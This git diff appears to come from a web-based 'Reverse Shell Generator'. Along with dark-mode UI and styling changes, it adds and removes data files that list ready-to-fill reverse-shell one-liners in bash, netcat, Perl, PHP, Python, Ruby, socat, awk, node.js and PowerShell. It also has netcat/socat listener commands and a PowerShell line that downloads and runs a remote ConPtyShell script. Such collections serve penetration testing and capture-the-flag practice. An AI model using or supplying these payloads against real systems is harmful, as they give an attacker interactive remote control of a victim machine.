+`); + + const darkSwitch = document.getElementById('darkSwitch') as HTMLInputElement; + + darkSwitch.checked = config.getTheme() === 'dark'; + darkSwitch.onchange = () => { + config.setTheme(darkSwitch.checked ? 'dark' : 'light'); + }; + + config.themeChangeHandlers.push(theme => darkSwitch.checked = theme === 'dark'); + + return darkSwitch; +} diff --git a/bootstrap-darkmode-master/tsconfig.json b/bootstrap-darkmode-master/tsconfig.json new file mode 100644 index 0000000..17e4d45 --- /dev/null +++ b/bootstrap-darkmode-master/tsconfig.json @@ -0,0 +1,13 @@ +{ + "compilerOptions": { + "target": "es5", + "lib": ["es2017", "es7", "es6", "dom"], + "declaration": true, + "outDir": "dist", + "strict": true + }, + "exclude": [ + "node_modules", + "dist" + ] +} diff --git a/data.js b/data.js index 2738eab..00d3cf9 100644 --- a/data.js +++ b/data.js @@ -1,11 +1,12 @@ const rsgData = { listenerCommands: [ + ['pwncat', 'python3 -m pwncat -lp {port}'], ['nc', 'nc -lvnp {port}'], ['rlwrap + nc', 'rlwrap nc -lvnp {port}'], + ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], - ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'], - ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'] + ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'] ], shells: ['sh', 'bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], @@ -38,11 +39,11 @@ const rsgData = { ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], - ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'], - ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'] + ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'] + ], specialCommands: { 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' } -} +} \ No newline at end of file diff --git a/datao.js b/datao.js deleted file mode 100644 index bf84050..0000000 --- a/datao.js +++ /dev/null @@ -1,50 +0,0 @@ -const rsgData = { - - listenerCommands: [ - ['pwncat', 'p3 -m pwncat -lp {port}'], - ['nc', 'nc -lvnp {port}'], - ['rlwrap + nc', 'rlwrap nc -lvnp {port}'], - ['windows conpty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], - ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], - ['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'] - ], - - shells: ['bash', 'sh', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], - // shells: ['bash', 'sh', 'zsh', 'ash', 'bsh', 'csh', 'ksh', 'pdksh', 'tcsh'], - - reverseShellsCommands: [ - ['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'], - ['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'], - ['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'], - ['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/{shell} -i 2>&1|nc {ip} {port} >/tmp/f'], - ['nc -e', 'nc -e /bin/{shell} {ip} {port}'], - ['nc -c', 'nc -c {shell} {ip} {port}'], - ['ncat -e', 'ncat {ip} {port} -e /bin/{shell} '], - ['ncat udp', 'ncat {ip} {port} -e /bin/{shell}'], - ['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/{shell} -i");};\''], - ['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''], - ['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/{shell} -i <&3 >&3 2>&3");\''], - ['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("/bin/{shell} -i <&3 >&3 2>&3");\''], - ['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("/bin/{shell} -i <&3 >&3 2>&3");\''], - ['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("/bin/sh -i <&3 >&3 2>&3");\''], - ['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`/bin/sh -i <&3 >&3 2>&3`;\''], - ['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("/bin/sh -i <&3 >&3 2>&3", "r");\''], - ['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'], - ['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'], - ['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'], - ['PowerShell #3 (Base64)', undefined], - ['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/{shell}")\''], - ['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/{shell}")\''], - ['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("/bin/{shell} -i <&%d >&%d 2>&%d",f,f,f)\''], - ['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''], - ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], - ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], - ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], - ['node.js', 'require(\'child_process\').exec(\'nc -e /bin/{shell} {ip} {port}\')'] - - ], - - specialCommands: { - 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' - } -} \ No newline at end of file diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000..531d228 Binary files /dev/null and b/favicon.ico differ diff --git a/index.html b/index.html index f7bdfa7..50c89dc 100644 --- a/index.html +++ b/index.html @@ -54,11 +54,10 @@ border: none !important; border-radius: 5px; box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); - background-color: rgb(70, 70, 70) !important + background-color: rgb(70, 70, 70) } .custom-select { - /* background-color: rgb(169, 169, 172); */ background-color: #646464; color: white; } @@ -66,10 +65,10 @@ .container { padding: 10px; border-radius: 20px; - box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); + box-shadow: 10px 0px 20px 0px rgba(0, 0, 0, 0.75); + max-height: 1000px; } - h1, h2 { text-align: center; @@ -78,12 +77,20 @@ - +

Reverse Shell Generator

+
@@ -152,7 +159,7 @@
- +